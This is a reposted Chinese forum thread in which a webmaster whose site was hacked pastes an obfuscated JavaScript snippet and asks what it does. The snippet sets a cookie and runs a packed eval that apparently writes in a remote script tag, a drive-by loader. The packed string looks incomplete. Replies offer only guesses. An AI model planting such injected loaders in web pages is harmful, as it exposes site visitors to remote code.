Home >Backend Development >PHP Tutorial > 网站被挂马麻烦高手,看一段加密的js代码。该怎么解决

网站被挂马麻烦高手,看一段加密的js代码。该怎么解决

WBOY
WBOYOriginal
2016-06-13 13:45:25837browse

网站被挂马麻烦高手,看一段加密的js代码。
if(document.cookie.indexOf('hello')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='hello=Yes;path=/;expires='+expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('b.h(\'0>\')',18,18,'script|67c|6Fm|68m|w|src|http|77w|6E|69f|xuexi|document||67|A|64||write'.split('|'),0,{}));}
麻烦解密下。并告诉我这段代码的作用。

------解决方案--------------------
没遇到过,学习了,可能是重定转向网站,依附你的网站。
------解决方案--------------------
弄出来执行一次,用firefox跟踪一下不就可以了
------解决方案--------------------
无法就是挂个链接

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn